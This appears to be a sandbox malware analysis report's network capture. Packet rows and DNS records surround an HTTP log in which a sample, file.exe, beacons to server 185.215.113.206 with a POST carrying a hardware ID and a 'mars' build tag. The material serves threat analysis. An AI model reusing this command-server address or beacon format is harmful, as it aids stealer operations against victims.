Nov 26, 2024 01:41:46.824256897 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.824294090 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.825154066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.825283051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.825349092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.826056957 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.826164961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.826178074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.826232910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.827040911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.827167034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.827224970 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.827910900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.827970028 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.828023911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.828412056 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.828845978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.828964949 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.829013109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.829814911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.829874039 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.829907894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.829951048 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.830712080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.830760956 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.830810070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.830988884 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.831634998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.831696033 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.831748962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.832410097 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.832571983 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.832710028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.832760096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.833504915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.833578110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.833630085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.851016998 CET	49888	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.851041079 CET	443	49888	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.851078987 CET	49888	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.851089001 CET	443	49888	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.857563972 CET	49900	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.857614994 CET	443	49900	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.858247995 CET	49900	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.874145985 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.874185085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.874253988 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.874645948 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.874763012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.874806881 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.875581026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.875675917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.875720024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.876461029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.877377033 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.943818092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.943851948 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.944266081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.944334984 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.944343090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.944392920 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.945205927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.945307016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.945358038 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.946127892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.946240902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.946285963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.947042942 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.947150946 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.947191000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.947968960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.948105097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.948143005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.948906898 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.949012995 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.949835062 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.949878931 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.949938059 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.950777054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.950822115 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.950885057 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.951708078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.951756954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.951797962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.952405930 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.952624083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.952732086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.952775002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.953584909 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.953697920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.953737020 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.954533100 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.954622984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.954658985 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.955475092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.955579996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.955626011 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.956379890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.956466913 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.957284927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.957328081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.957396984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.958219051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.958261967 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.958328962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.959160089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.959203005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.959392071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.960102081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.960151911 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.960242033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.960403919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.961014986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.961083889 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.961126089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.961941004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.962064981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.962114096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.962876081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.963012934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.963790894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.963834047 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.963891029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.964407921 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.964755058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.964875937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.964915037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.965675116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.965781927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.965821981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.966584921 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.966686010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.966727018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.967529058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.967573881 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.967612982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.968436956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.968530893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.969383001 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.969432116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.969499111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.970305920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.970347881 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.970387936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.972419024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:47.017736912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:47.017817974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:47.018179893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:47.018281937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:47.018286943 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:47.018388987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:47.019123077 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:47.019226074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:47.019265890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:47.019283056 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:47.020019054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:47.020061016 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:47.020132065 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:47.020404100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:47.020977974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:47.021094084 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:47.021142960 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:47.021910906 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:47.022017956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:47.022067070 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:47.022833109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:47.022938967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:47.022984982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:47.023753881 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:47.023849010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:47.023889065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:47.024693966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:47.024815083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:47.024858952 CET	49813	80	192.168.2.6	185.215.113.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 26, 2024 01:41:20.433450937 CET	192.168.2.6	1.1.1.1	0xe3a2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:20.433908939 CET	192.168.2.6	1.1.1.1	0x497f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 26, 2024 01:41:27.504240990 CET	192.168.2.6	1.1.1.1	0x6ac1	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:27.504494905 CET	192.168.2.6	1.1.1.1	0xc573	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 26, 2024 01:41:32.704579115 CET	192.168.2.6	1.1.1.1	0xd557	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:32.704883099 CET	192.168.2.6	1.1.1.1	0x8af	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 26, 2024 01:41:35.066750050 CET	192.168.2.6	1.1.1.1	0xdd4f	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:35.067051888 CET	192.168.2.6	1.1.1.1	0x642	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 26, 2024 01:41:36.221098900 CET	192.168.2.6	1.1.1.1	0x27dc	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 26, 2024 01:41:36.221098900 CET	192.168.2.6	1.1.1.1	0xdf8d	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:37.535809040 CET	192.168.2.6	1.1.1.1	0x3205	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:37.536166906 CET	192.168.2.6	1.1.1.1	0xf7f4	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 01:41:37.536655903 CET	192.168.2.6	1.1.1.1	0x29aa	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:37.537055016 CET	192.168.2.6	1.1.1.1	0x288a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 01:41:37.547333002 CET	192.168.2.6	1.1.1.1	0x9a76	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:37.547485113 CET	192.168.2.6	1.1.1.1	0x91ac	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 01:41:38.101942062 CET	192.168.2.6	1.1.1.1	0x7c91	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:38.102341890 CET	192.168.2.6	1.1.1.1	0x6890	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 26, 2024 01:41:38.105861902 CET	192.168.2.6	1.1.1.1	0xd614	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:38.106004000 CET	192.168.2.6	1.1.1.1	0xcc79	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 26, 2024 01:41:38.244519949 CET	192.168.2.6	1.1.1.1	0x2bd0	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:38.244713068 CET	192.168.2.6	1.1.1.1	0x51cd	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 26, 2024 01:41:38.392599106 CET	192.168.2.6	1.1.1.1	0xecb2	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:38.392760038 CET	192.168.2.6	1.1.1.1	0xfef3	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 26, 2024 01:42:36.900465012 CET	192.168.2.6	1.1.1.1	0xf88d	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:42:36.900759935 CET	192.168.2.6	1.1.1.1	0x1bf2	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 26, 2024 01:42:36.901257038 CET	192.168.2.6	1.1.1.1	0x6003	Standard query (0)	deff.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:42:36.901563883 CET	192.168.2.6	1.1.1.1	0xca4d	Standard query (0)	deff.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 26, 2024 01:41:20.572184086 CET	1.1.1.1	192.168.2.6	0xe3a2	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:20.572856903 CET	1.1.1.1	192.168.2.6	0x497f	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 26, 2024 01:41:27.642689943 CET	1.1.1.1	192.168.2.6	0x6ac1	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:41:27.642689943 CET	1.1.1.1	192.168.2.6	0x6ac1	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:27.644268036 CET	1.1.1.1	192.168.2.6	0xc573	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:41:32.844444990 CET	1.1.1.1	192.168.2.6	0xd557	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:41:32.844650030 CET	1.1.1.1	192.168.2.6	0x8af	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:41:33.427464008 CET	1.1.1.1	192.168.2.6	0x9e66	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:41:33.427464008 CET	1.1.1.1	192.168.2.6	0x9e66	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:33.514496088 CET	1.1.1.1	192.168.2.6	0xc241	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:41:35.206589937 CET	1.1.1.1	192.168.2.6	0x642	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:41:35.310272932 CET	1.1.1.1	192.168.2.6	0xdd4f	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:41:36.361593008 CET	1.1.1.1	192.168.2.6	0x27dc	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:41:36.361605883 CET	1.1.1.1	192.168.2.6	0xdf8d	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:41:36.361605883 CET	1.1.1.1	192.168.2.6	0xdf8d	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:37.674721956 CET	1.1.1.1	192.168.2.6	0x3205	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:37.674721956 CET	1.1.1.1	192.168.2.6	0x3205	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:37.675076962 CET	1.1.1.1	192.168.2.6	0x29aa	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:37.675076962 CET	1.1.1.1	192.168.2.6	0x29aa	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:37.675743103 CET	1.1.1.1	192.168.2.6	0x288a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 01:41:37.675858974 CET	1.1.1.1	192.168.2.6	0xf7f4	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 01:41:37.686456919 CET	1.1.1.1	192.168.2.6	0x91ac	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 01:41:37.687105894 CET	1.1.1.1	192.168.2.6	0x9a76	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:37.687105894 CET	1.1.1.1	192.168.2.6	0x9a76	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:38.241425991 CET	1.1.1.1	192.168.2.6	0x7c91	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:38.241425991 CET	1.1.1.1	192.168.2.6	0x7c91	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:38.241425991 CET	1.1.1.1	192.168.2.6	0x7c91	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:38.241425991 CET	1.1.1.1	192.168.2.6	0x7c91	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:38.244785070 CET	1.1.1.1	192.168.2.6	0xcc79	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:41:38.245100021 CET	1.1.1.1	192.168.2.6	0xd614	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:41:38.384135008 CET	1.1.1.1	192.168.2.6	0x51cd	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:41:38.384176016 CET	1.1.1.1	192.168.2.6	0x2bd0	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:41:38.531502962 CET	1.1.1.1	192.168.2.6	0xecb2	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:41:38.531516075 CET	1.1.1.1	192.168.2.6	0xfef3	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:41:39.037345886 CET	1.1.1.1	192.168.2.6	0x65da	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:41:39.037345886 CET	1.1.1.1	192.168.2.6	0x65da	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:57.395800114 CET	1.1.1.1	192.168.2.6	0xd3b9	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:41:57.395800114 CET	1.1.1.1	192.168.2.6	0xd3b9	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 26, 2024 01:42:37.040191889 CET	1.1.1.1	192.168.2.6	0x6003	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:42:37.040666103 CET	1.1.1.1	192.168.2.6	0xca4d	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:42:37.040993929 CET	1.1.1.1	192.168.2.6	0x1bf2	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 01:42:37.148375988 CET	1.1.1.1	192.168.2.6	0xf88d	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49715	185.215.113.206	80	3796	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 01:41:11.361737013 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 01:41:12.748859882 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 01:41:12.764504910 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGIDGCAFCBKECAAKJJK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 31 33 30 33 46 43 41 45 36 35 44 32 35 39 34 32 34 38 33 34 31 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 2d 